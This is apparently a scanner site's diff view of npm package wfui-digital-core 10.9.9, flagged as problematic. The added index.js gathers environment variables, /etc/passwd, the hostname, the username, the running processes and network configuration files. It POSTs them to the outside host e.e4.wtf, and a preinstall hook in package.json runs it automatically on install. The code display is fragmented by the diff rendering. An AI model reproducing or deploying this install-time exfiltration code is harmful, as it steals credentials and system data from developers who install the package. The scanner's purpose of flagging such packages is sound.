wfui-digital-core 10.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of wfui-digital-core might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +1 -0
  2. package/package.json +21 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const os = require("os");
2
  try {
1
3
  return os.homedir();
2
4
  } catch (error) {
3
5
  console.error("Error getting home directory:", error);
4
6
  return null;
5
7
  }
6
8
  try {
7
9
  return os.hostname();
8
10
  } catch (error) {
9
11
  console.error("Error getting hostname:", error);
10
12
  return null;
11
13
  }
12
14
  try {
13
15
  return os.userInfo().username;
14
16
  } catch (error) {
15
17
  console.error("Error getting username:", error);
16
18
  return null;
17
19
  }
18
20
  try {
19
21
  return dns.getServers();
20
22
  } catch (error) {
21
23
  console.error("Error getting DNS servers:", error);
22
24
  return [];
23
25
  }
24
26
  try {
25
27
  return process.env;
26
28
  } catch (error) {
27
29
  console.error("Error retrieving environment variables:", error);
28
30
  return null;
29
31
  }
30
32
  return executeCommand("cat /etc/passwd");
31
33
  try {
32
34
  return execSync(command).toString().trim();
33
35
  } catch (error) {
34
36
  console.error(`Error executing '${command}':`, error);
35
37
  return null;
36
38
  }
37
39
  const details = {};
38
40
  details.hostnamectl = executeCommand("hostnamectl");
39
41
  details.hostname = executeCommand("hostname");
40
42
  details.domainname = executeCommand("domainname");
41
43
  details.os_release = executeCommand("cat /etc/os-release");
42
44
  details.lsb_release = executeCommand("lsb_release -a");
43
45
  details.uname = executeCommand("uname -a");
44
46
  return details;
45
47
  p: package,
46
48
  c: __dirname,
47
49
  hd: getHomeDir(),
48
50
  hn: getHostname(),
49
51
  un: getUsername(),
50
52
  dns: getDnsServers(),
51
53
  r: packageJSON ? packageJSON.___resolved : undefined,
52
54
  v: packageJSON.version,
53
55
  pjson: packageJSON,
54
56
  env: getEnvVariables(), // Environment variables
55
57
  passwd: getUserList(), // User list from /etc/passwd
56
58
  processes: executeCommand("ps aux"), // Running processes
57
59
  hostsFile: executeCommand("cat /etc/hosts"), // Hosts file content
58
60
  networkConf: executeCommand("cat /etc/resolv.conf"), // DNS resolver config
59
61
  system_details: systemDetails,
60
62
  hostname: "e.e4.wtf",
61
63
  port: 443,
62
64
  path: "/",
63
65
  method: "POST",
64
66
  headers: {
65
67
  "Content-Type": "application/json", // Sending as JSON
66
68
  "Content-Length": Buffer.byteLength(postData),
67
69
  },
68
70
  res.on("data", (d) => {
69
71
  process.stdout.write(d);
70
72
  });
71
73
  console.error(e);
package/package.json ADDED
@@ -0,0 +1,21 @@
1
+ {
2
+ "name": "wfui-digital-core",
3
+ "version": "10.9.9",
4
+ "description": "claim",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "publishConfig": {
11
+ "access": "public",
12
+ "registry": "https://registry.npmjs.org/"
13
+ },
14
+ "author": "Piercarlo Maia Hackerone",
15
+ "license": "ISC",
16
+ "dependencies": {
17
+ "package": "^1.0.1"
18
+ },
19
+ "private": false,
20
+ "keywords": []
21
+ }